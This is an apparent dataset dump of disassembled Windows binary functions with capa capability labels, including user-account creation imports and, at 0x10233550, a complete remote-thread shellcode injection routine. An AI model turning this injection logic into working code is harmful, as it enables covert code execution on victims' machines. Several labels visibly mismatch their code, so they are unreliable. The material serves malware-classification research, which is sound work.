joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c5bd0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4c5deb
sub esp, 0x70
xor ebx, ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov ebx, dword [esp + 0x74]
mov dword [esp], ebx
call fcn.004b6a60
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
mov dword [esp + 0x64], edx
mov dword [esp + 0x60], ecx
cmp ecx, 0
je 0x4c5c32
mov dword [esp + 0x80], ecx
mov dword [esp + 0x84], edx
nop
call fcn.0042a350
add esp, 0x70
ret
mov ebx, dword [esp + 0x74]
mov dword [esp + 8], ebx
mov dword [esp], 4
mov eax, 0x61ac98
mov dword [esp + 4], eax
call fcn.00429480
cmp eax, 0
jne 0x4c5de1
mov ebx, dword [esp + 0x78]
mov edx, dword [esp + 0x7c]
add ebx, 0xf423f
adc edx, 0
mov dword [esp + 0x78], ebx
mov dword [esp], ebx
mov dword [esp + 0x7c], edx
mov dword [esp + 4], edx
mov dword [esp + 8], 0xf4240
mov dword [esp + 0xc], 0
call fcn.0044bed0
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov eax, ecx
xor ebx, ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov ecx, 1
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x2c], 0
mov eax, 0xc
mov ebx, dword [esp + 0x74]
mov ebp, dword [ebx + 0x10]
mov dword [esp], ebp
mov dword [esp + 4], 0x98000004
lea ebx, [esp + 0x30]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
lea ebx, [esp + 0x2c]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.0045a7c0
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x28]
mov ebx, 0x5f78b5
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], 8
mov dword [esp + 0x58], ecx
mov dword [esp + 0x5c], edx
mov dword [esp + 0x54], edx
xor ebx, ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x50], ecx
cmp ecx, 0
jne 0x4c5d6a
xor ecx, ecx
mov edx, ecx
mov dword [esp + 0x40], edx
mov dword [esp + 0x80], edx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x84], ecx
nop
call fcn.0042a350
add esp, 0x70
ret
mov dword [esp], 0x5d2540
call fcn.0040f320
mov ecx, dword [esp + 4]
mov dword [esp + 0x3c], ecx
mov ebp, dword [esp + 0x4c]
mov dword [ecx + 4], ebp
mov ebp, dword [esp + 0x48]
cmp byte [0x6dae38], 0
jne 0x4c5dcf
mov dword [ecx], ebp
mov ebp, dword [esp + 0x50]
mov dword [ecx + 8], ebp
mov ebp, dword [esp + 0x54]
cmp byte [0x6dae38], 0
jne 0x4c5dba
mov dword [ecx + 0xc], ebp
mov edx, 0x6b1cb0
mov dword [esp + 0x68], edx
mov dword [esp + 0x6c], ecx
jmp 0x4c5d4a
lea esi, [ecx + 0xc]
mov dword [esp], esi
mov dword [esp + 4], ebp
call fcn.0040fcf0
mov ecx, dword [esp + 0x3c]
jmp 0x4c5dab
mov dword [esp], ecx
mov dword [esp + 4], ebp
call fcn.0040fcf0
mov ecx, dword [esp + 0x3c]
jmp 0x4c5d94
nop
call fcn.0042a350
add esp, 0x70
ret
call fcn.004518d0
jmp fcn.004c5bd0
Function at 0x4c63c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4c64d3
sub esp, 0x54
xor ebx, ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
mov ecx, dword [esp + 0x68]
mov edx, dword [esp + 0x6c]
mov ebx, dword [esp + 0x58]
mov dword [esp], ebx
mov ebx, dword [esp + 0x5c]
mov dword [esp + 4], ebx
mov ebx, dword [esp + 0x60]
mov dword [esp + 8], ebx
mov ebx, dword [esp + 0x64]
mov dword [esp + 0xc], ebx
mov eax, 0x6b42c0
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ecx
mov eax, 0x6b42c0
mov dword [esp + 0x4c], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x50], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], 2
mov dword [esp + 0x24], 0
mov ebx, 0x5f6c39
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], 4
call fcn.004bef60
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x38]
mov dword [esp + 0x48], edx
mov dword [esp + 0x44], eax
cmp eax, 0
je 0x4c647f
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], edx
add esp, 0x54
ret
mov dword [esp + 0x3c], ecx
mov dword [esp], 0x5cd4a0
call fcn.0040f320
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x40], ecx
cmp ecx, 0
je 0x4c64cf
cmp byte [0x6dae38], 0
jne 0x4c64bd
mov dword [ecx], eax
mov dword [esp + 0x70], ecx
xor ebx, ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebx
add esp, 0x54
ret
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040fcf0
mov ecx, dword [esp + 0x40]
jmp 0x4c64ab
mov dword [ecx], eax
jmp 0x4c64a0
call fcn.004518d0
jmp fcn.004c63c0
Function at 0x517410
Capabilities:
Parse credit card information

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x517606
mov edx, dword [esp + 8]
movzx ecx, byte [esp + 4]
cmp cl, 0x41
jb 0x51743f
cmp cl, 0x5a
ja 0x51743f
mov byte [esp + 0xc], 0
ret
cmp cl, 0x61
jb 0x517449
cmp cl, 0x7a
jbe 0x517439
cmp cl, 0x30
jb 0x517453
cmp cl, 0x39
jbe 0x517439
cmp edx, 2
je 0x517554
cmp edx, 3
je 0x517554
cmp cl, 0x2f
ja 0x517507
cmp cl, 0x2b
ja 0x5174e2
cmp cl, 0x24
jne 0x5174d6
cmp edx, 4
jg 0x5174c0
cmp edx, 1
jne 0x517494
cmp cl, 0x3f
je 0x51748d
mov byte [esp + 0xc], 0
ret
mov byte [esp + 0xc], 1
jmp 0x51748c
cmp edx, 4
jne 0x5174ba
cmp cl, 0x40
je 0x5174b3
cmp cl, 0x2f
je 0x5174b3
cmp cl, 0x3f
je 0x5174b3
cmp cl, 0x3a
je 0x5174b3
mov byte [esp + 0xc], 0
ret
mov byte [esp + 0xc], 1
jmp 0x5174b2
mov byte [esp + 0xc], 1
ret
cmp edx, 5
jne 0x5174cb
mov byte [esp + 0xc], 1
ret
cmp edx, 6
jne 0x5174ba
mov byte [esp + 0xc], 0
ret
cmp cl, 0x26
je 0x517478
cmp cl, 0x2b
je 0x517478
jmp 0x5174ba
cmp cl, 0x2d
ja 0x5174f7
cmp cl, 0x2c
je 0x517478
cmp cl, 0x2d
jne 0x5174ba
mov byte [esp + 0xc], 0
ret
cmp cl, 0x2e
je 0x5174f1
cmp cl, 0x2f
je 0x517478
jmp 0x5174ba
cmp cl, 0x3d
ja 0x517529
cmp cl, 0x3a
je 0x517478
cmp cl, 0x3b
je 0x517478
cmp cl, 0x3d
je 0x517478
jmp 0x5174ba
cmp cl, 0x40
ja 0x517545
cmp cl, 0x3f
je 0x517478
cmp cl, 0x40
je 0x517478
jmp 0x5174ba
cmp cl, 0x5f
je 0x5174f1
cmp cl, 0x7e
je 0x5174f1
jmp 0x5174ba
cmp cl, 0x2a
ja 0x5175aa
cmp cl, 0x26
ja 0x517587
cmp cl, 0x22
ja 0x517578
cmp cl, 0x21
jne 0x51756e
mov byte [esp + 0xc], 0
ret
cmp cl, 0x22
je 0x517568
jmp 0x517465
cmp cl, 0x24
je 0x517568
cmp cl, 0x26
je 0x517568
jmp 0x517465
cmp cl, 0x28
ja 0x51759b
cmp cl, 0x27
je 0x517568
cmp cl, 0x28
je 0x517568
jmp 0x517465
cmp cl, 0x29
je 0x517568
cmp cl, 0x2a
je 0x517568
jmp 0x517465
cmp cl, 0x3b
ja 0x5175d2
cmp cl, 0x2c
ja 0x5175c3
cmp cl, 0x2b
je 0x517568
cmp cl, 0x2c
je 0x517568
jmp 0x517465
cmp cl, 0x3a
je 0x517568
cmp cl, 0x3b
je 0x517568
jmp 0x517465
cmp cl, 0x3d
ja 0x5175e6
cmp cl, 0x3c
je 0x517568
cmp cl, 0x3d
je 0x517568
jmp 0x517465
cmp cl, 0x3e
je 0x517568
cmp cl, 0x5b
je 0x517568
cmp cl, 0x5d
je 0x517568
jmp 0x517465
call fcn.004518d0
jmp fcn.00517410
Function at 0x519d00
Capabilities:
Parse credit card information

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x519e49
sub esp, 0x10
mov esi, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
xor ecx, ecx
cmp ecx, edx
jge 0x519d54
cmp ecx, edx
jae 0x519e42
mov ebp, esi
add ebp, ecx
movzx ebx, byte [ebp]
cmp bl, 0x2a
ja 0x519dd7
cmp bl, 0x26
ja 0x519db6
cmp bl, 0x24
ja 0x519daa
cmp bl, 0x21
jne 0x519d5d
inc ecx
cmp ecx, edx
jl 0x519d27
mov byte [esp + 0x1c], 1
add esp, 0x10
ret
cmp bl, 0x24
je 0x519d4f
mov dword [esp + 0xc], ecx
cmp ecx, edx
jae 0x519da3
mov ebp, esi
add ebp, ecx
movzx ebx, byte [ebp]
mov byte [esp], bl
mov dword [esp + 4], 1
call fcn.00517410
mov esi, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov ecx, dword [esp + 0xc]
movzx ebx, byte [esp + 8]
cmp bl, 0
je 0x519da1
mov byte [esp + 0x1c], 0
add esp, 0x10
ret
jmp 0x519d4f
call fcn.004291a0
ud2
cmp bl, 0x25
je 0x519d4f
cmp bl, 0x26
je 0x519d4f
jmp 0x519d62
cmp bl, 0x28
ja 0x519dc7
cmp bl, 0x27
je 0x519d4f
cmp bl, 0x28
je 0x519d4f
jmp 0x519d62
cmp bl, 0x29
je 0x519d4f
cmp bl, 0x2a
je 0x519d4f
jmp 0x519d62
cmp bl, 0x3b
ja 0x519e0f
cmp bl, 0x2c
ja 0x519df8
cmp bl, 0x2b
je 0x519d4f
cmp bl, 0x2c
je 0x519d4f
jmp 0x519d62
cmp bl, 0x3a
je 0x519d4f
cmp bl, 0x3b
je 0x519d4f
jmp 0x519d62
cmp bl, 0x40
ja 0x519e2b
cmp bl, 0x3d
je 0x519d4f
cmp bl, 0x40
je 0x519d4f
jmp 0x519d62
cmp bl, 0x5b
je 0x519d4f
cmp bl, 0x5d
je 0x519d4f
jmp 0x519d62
call fcn.004291a0
ud2
call fcn.004518d0
jmp fcn.00519d00
Function at 0x52a2d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x52a4d9
sub esp, 0x6c
xor ebx, ebx
xor ebx, ebx
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], ebx
mov dword [esp], 0x5e60c0
call fcn.0040f320
mov ebx, dword [esp + 4]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x70]
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x74]
mov dword [esp + 0x20], ebx
xor ebx, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov dword [esp], 0x5baec0
mov dword [esp + 4], 0
mov dword [esp + 8], 0
call fcn.00404ec0
mov eax, dword [esp + 0xc]
xor ebx, ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov ebx, dword [esp + 0x1c]
mov dword [esp + 0x4c], ebx
mov ebx, dword [esp + 0x20]
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], eax
mov ebx, dword [esp + 0x4c]
mov dword [esp + 0x2c], ebx
mov ebx, dword [esp + 0x50]
mov dword [esp + 0x30], ebx
mov edi, dword [esp + 0x54]
mov esi, dword [esp + 0x58]
mov ebp, dword [esp + 0x5c]
mov edx, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov eax, dword [esp + 0x68]
mov ebx, dword [esp + 0x2c]
mov dword [esp + 0x4c], ebx
mov ebx, dword [esp + 0x30]
mov dword [esp + 0x50], ebx
mov dword [esp + 0x34], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x38], esi
mov dword [esp + 0x58], esi
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x5c], ebp
mov dword [esp + 0x40], edx
mov dword [esp + 0x60], edx
mov dword [esp + 0x44], ecx
mov dword [esp + 0x64], ecx
mov dword [esp + 0x48], eax
mov dword [esp + 0x68], eax
mov ebx, dword [esp + 0x18]
cmp ebx, 0
je 0x52a4d2
lea ebp, [esp + 0x4c]
mov dword [esp + 4], ebx
mov dword [esp + 8], ebp
mov ebp, 0x5e60c0
mov dword [esp], ebp
call fcn.0040fdf0
mov ecx, dword [esp + 0x18]
cmp ecx, 0
je 0x52a4cb
mov ebx, dword [esp + 0x70]
mov dword [esp], ebx
mov ebx, dword [esp + 0x74]
mov dword [esp + 4], ebx
mov eax, 0x6b2a90
mov dword [esp + 0x24], eax
mov dword [esp + 8], eax
mov dword [esp + 0x28], ecx
mov dword [esp + 0xc], ecx
call fcn.0052a4f0
mov ebx, dword [esp + 0x18]
cmp ebx, 0
je 0x52a4c7
mov dword [esp + 0x14], ebx
mov dword [esp], 0x5cbd60
call fcn.0040f320
mov esi, dword [esp + 4]
mov eax, 0x52b990
mov dword [esi], eax
mov eax, dword [esp + 0x18]
cmp eax, 0
je 0x52a4c3
mov dword [esp + 0x10], esi
cmp byte [0x6dae38], 0
jne 0x52a4ae
mov dword [esi + 4], eax
mov edx, dword [esp + 0x14]
mov ecx, 0x6b3940
mov dword [esp + 0x78], ecx
mov dword [esp + 0x7c], edx
mov dword [esp + 0x80], esi
add esp, 0x6c
ret
lea esi, [esi + 4]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.0040fcf0
mov esi, dword [esp + 0x10]
jmp 0x52a492
mov dword [eax], eax
jmp 0x52a482
mov dword [ebx], eax
jmp 0x52a45e
mov dword [ecx], eax
jmp 0x52a42c
mov dword [ebx], eax
jmp 0x52a406
call fcn.004518d0
jmp fcn.0052a2d0
Function at 0x558a50
Capabilities:
Encrypt data using des

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x558bfd
sub esp, 0x3c
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 8
mov ebx, dword [esp + 0x2c]
mov ebp, dword [esp + 0x28]
cmp ebx, ebp
jge 0x558bbb
mov ebx, dword [esp + 0x2c]
mov dword [esp + 0x1c], ebx
xor ecx, ecx
cmp ecx, 4
jge 0x558ba2
xor eax, eax
cmp eax, 0x10
jge 0x558b98
mov ebx, dword [esp + 0x1c]
mov edi, 7
sub edi, ebx
mov ebx, dword [esp + 0x1c]
mov ebp, 0x6b8fc0
cmp ebx, 8
jae 0x558bf6
shl ebx, 6
add ebp, ebx
mov dword [esp + 0x24], ecx
mov ebx, ecx
mov esi, ebp
cmp ecx, 4
jae 0x558bef
shl ebx, 4
add esi, ebx
mov dword [esp + 0x20], eax
mov ebp, esi
cmp eax, 0x10
jae 0x558be8
add ebp, eax
movzx ebx, byte [ebp]
xor edx, edx
mov eax, ebx
mov ecx, edi
shl ecx, 2
cmp ecx, 0x40
jae 0x558bdf
cmp ecx, 0x20
jae 0x558bd4
shld edx, eax, cl
shl eax, cl
mov ecx, edx
mov edx, 0x6b3400
cmp edx, 0
je 0x558bcd
mov edi, 0x20
mov esi, 0x20
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 0x30], edx
mov dword [esp + 8], edx
mov dword [esp + 0x34], edi
mov dword [esp + 0xc], edi
mov dword [esp + 0x38], esi
mov dword [esp + 0x10], esi
call fcn.00558950
mov edi, dword [esp + 0x20]
mov esi, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov ecx, esi
shl esi, 4
add esi, edi
mov ebx, dword [esp + 0x1c]
mov ebp, 0x6dc6e0
cmp ebx, 8
jae 0x558bc6
shl ebx, 8
add ebp, ebx
mov ebx, esi
mov esi, ebp
cmp ebx, 0x40
jae 0x558bbf
shl ebx, 2
add esi, ebx
mov dword [esi], edx
mov eax, edi
inc eax
cmp eax, 0x10
jl 0x558aa7
inc ecx
cmp ecx, 4
jl 0x558a9c
mov ebx, dword [esp + 0x2c]
inc ebx
mov dword [esp + 0x2c], ebx
mov ebx, dword [esp + 0x2c]
mov ebp, dword [esp + 0x28]
cmp ebx, ebp
jl 0x558a89
add esp, 0x3c
ret
call fcn.004291a0
ud2
call fcn.004291a0
ud2
mov dword [edx], eax
jmp 0x558b24
mov edx, eax
shl edx, cl
xor eax, eax
jmp 0x558b14
xor edx, edx
xor eax, eax
jmp 0x558b06
call fcn.004291a0
ud2
call fcn.004291a0
ud2
call fcn.004291a0
ud2
call fcn.004518d0
jmp fcn.00558a50
Function at 0x10139878
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x101a8810
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
push edi
mov edi, 1
sub edi, edx
test eax, eax
jbe 0x101a88fc
mov ecx, dword [esp + 0xc]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x14]
xor edx, edx
xor ebx, ebx
mov dl, byte [ecx]
mov bl, byte [esi]
mov ebp, edi
add ebp, edx
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax], bl
mov dl, byte [ecx + 1]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 1]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 1], bl
mov dl, byte [ecx + 2]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 2]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 2], bl
mov dl, byte [ecx + 3]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 3]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 3], bl
mov dl, byte [ecx + 4]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 4]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 4], bl
mov dl, byte [ecx + 5]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 5]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 5], bl
mov dl, byte [ecx + 6]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 6]
xor edx, edx
add ebx, ebp
mov ebp, edi
sar ebx, 1
mov byte [eax + 6], bl
mov dl, byte [ecx + 7]
xor ebx, ebx
add ebp, edx
mov bl, byte [esi + 7]
mov edx, dword [esp + 0x20]
add ebx, ebp
add ecx, edx
sar ebx, 1
mov byte [eax + 7], bl
add eax, edx
add esi, edx
mov edx, dword [esp + 0x24]
dec edx
mov dword [esp + 0x24], edx
jne 0x101a883b
pop esi
pop ebp
pop ebx
pop edi
ret

Function at 0x10139deb
Capabilities:
List user accounts

Disassembly:
jmp 0x102c9b0e
jmp dword [sym.imp.NETAPI32.dll_NetUserEnum]

Function at 0x1013a714
Capabilities:
Get process image filename

Disassembly:
jmp 0x102c9b62
jmp dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameA]
Function at 0x1013a787
Capabilities:
Add user account to group

Disassembly:
jmp 0x102c9b08
jmp dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
Function at 0x1013d7ed
Capabilities:
List groups for user account

Disassembly:
jmp 0x102c9b1a
jmp dword [sym.imp.NETAPI32.dll_NetUserGetLocalGroups]
Function at 0x1013eb70
Capabilities:
Print debug messages

Disassembly:
jmp 0x102c6b4f
push esi
mov esi, ecx
call fcn.1013f3b8
mov eax, 0x10000000
mov dword [esi], 0x38
lea ecx, [esi + 0x14]
mov dword [esi + 8], eax
mov dword [esi + 4], eax
mov dword [esi + 0xc], 0xe00
mov dword [esi + 0x10], 0x103e0728
call fcn.1013a41c
test eax, eax
jns 0x102c6b9e
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x102c6b97
push str.ERROR_:_Unable_to_initialize_critical_section_in_CAtlBaseModule_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov byte [0x1043d228], 1
mov eax, esi
pop esi
ret
Function at 0x1014086c
Capabilities:
Add user account

Disassembly:
jmp 0x102c9b02
jmp dword [sym.imp.NETAPI32.dll_NetUserAdd]
Function at 0x1017eee0
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
push esi
mov esi, dword [esp + 0x2c]
cmp byte [esi + 2], 1
je 0x1017eef8
mov eax, 0xfffffffc
pop esi
add esp, 0x24
ret
mov dword [esi + 4], 0x10302
mov dword [esi + 8], str.xvid_1.3.2
call fcn.1017edb0
mov dword [esi + 0xc], eax
lea eax, [esp + 4]
push eax
mov dword [esi + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x18]
xor eax, eax
mov dword [esi + 0x10], ecx
pop esi
add esp, 0x24
ret
Function at 0x101ce770
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
lea eax, [eax + eax*2]
push ebp
xor ebp, ebp
push esi
lea eax, [eax + eax*4]
push edi
mov dword [esp + 0x10], ebp
lea ecx, [ecx + eax*2 + 0x20]
mov ax, word [edx]
imul ax, word [esp + 0x24]
cmp ax, 0xf800
mov word [ecx], ax
jge 0x101ce7aa
mov eax, 0xfffff800
jmp 0x101ce7ba
cmp ax, 0x7ff
jle 0x101ce7b7
mov eax, 0x7ff
jmp 0x101ce7ba
movsx eax, ax
mov edi, edx
mov word [ecx], ax
lea esi, [edx + 0x10]
lea eax, [ecx + 2]
sub edi, ecx
mov dword [esp + 0x20], esi
mov ecx, 7
mov bx, word [edi + eax]
add esi, 0x10
mov word [eax], bx
mov bx, word [esi - 0x10]
mov word [eax + 0xe], bx
add eax, 2
dec ecx
jne 0x101ce7d0
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov esi, 1
mov ax, word [edi]
sub word [edx], ax
mov eax, dword [esp + 0x1c]
cmp dword [ecx + eax*4 + 0xd4], esi
jne 0x101ce852
mov ebx, edx
lea esi, [edi + 2]
sub ebx, edi
mov edi, 7
mov cx, word [ebx + esi]
add esi, 2
movsx eax, cx
cdq
xor eax, edx
mov dword [esp + 0x18], ecx
sub cx, word [esi - 2]
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
mov word [esi - 2], cx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
dec edi
mov dword [esp + 0x10], edx
jne 0x101ce814
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
mov ebx, dword [esp + 0x20]
mov dx, word [ebx]
add ebx, 0x10
mov cx, dx
mov dword [esp + 0x18], edx
movsx eax, cx
sub cx, word [edi + esi*2]
cdq
xor eax, edx
mov word [edi + esi*2], cx
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
inc esi
cmp esi, 8
mov dword [esp + 0x10], edx
jb 0x101ce856
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
Function at 0x10233550
Capabilities:
Allocate or change rwx memory
Create thread
Extract resource via kernel32 functions
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
lea edi, [ebp - 0x54]
mov ecx, 0x15
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
push 0x103c84e0
push 0x79
mov eax, dword [0x10456798]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 8], eax
mov esi, esp
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x10456798]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x14], eax
mov esi, esp
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [0x10456798]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x20], eax
mov esi, esp
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 8]
push eax
push 0x103c84e8
call fcn.1013e508
add esp, 0x14
mov esi, esp
push 0x40
push 0x1000
mov eax, dword [ebp - 0x14]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x1023363f
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.VirtualAllocEx_error:_d_n
call fcn.1013e508
add esp, 8
jmp 0x10233650
mov eax, dword [ebp - 0x38]
push eax
push str.lpBassAddress_:_x_n
call fcn.1013e508
add esp, 8
mov esi, esp
lea eax, [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 0x38]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x10233696
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.WriteProcessMemory_error:_d_n
call fcn.1013e508
add esp, 8
jmp 0x102336a7
mov eax, dword [ebp - 0x44]
push eax
push str.dwNumberOfBytesWritten:_d_n
call fcn.1013e508
add esp, 8
mov dword [ebp - 0x50], 0
mov esi, esp
lea eax, [ebp - 0x50]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x38]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x102336f4
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.CreateRemoteThread_error:_d_n
call fcn.1013e508
add esp, 8
jmp 0x10233701
push str.success_CreateRemoteThread_n
call fcn.1013e508
add esp, 4
push edx
mov ecx, ebp
push eax
lea edx, [0x10233728]
call fcn.1013bc63
pop eax
pop edx
pop edi
pop esi
pop ebx
add esp, 0x114
cmp ebp, esp
call fcn.1013ca23
mov esp, ebp
pop ebp
ret
Function at 0x1026c170
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c8
push ebx
push esi
push edi
lea edi, [ebp - 0x248]
mov ecx, 0x92
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x1042cac0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
push 0x224
push 0
lea eax, [ebp - 0x238]
push eax
call fcn.1013a813
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push 8
call fcn.1013a327
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0xffffffff
jne 0x1026c1d3
xor eax, eax
jmp 0x1026c24d
mov dword [ebp - 0x238], 0x224
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x244]
push ecx
call fcn.1013b69b
test eax, eax
je 0x1026c234
mov esi, esp
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x1026c21d
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0xc], eax
jmp 0x1026c234
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x244]
push ecx
call fcn.1013defa
test eax, eax
jne 0x1026c1f4
mov esi, esp
mov eax, dword [ebp - 0x244]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
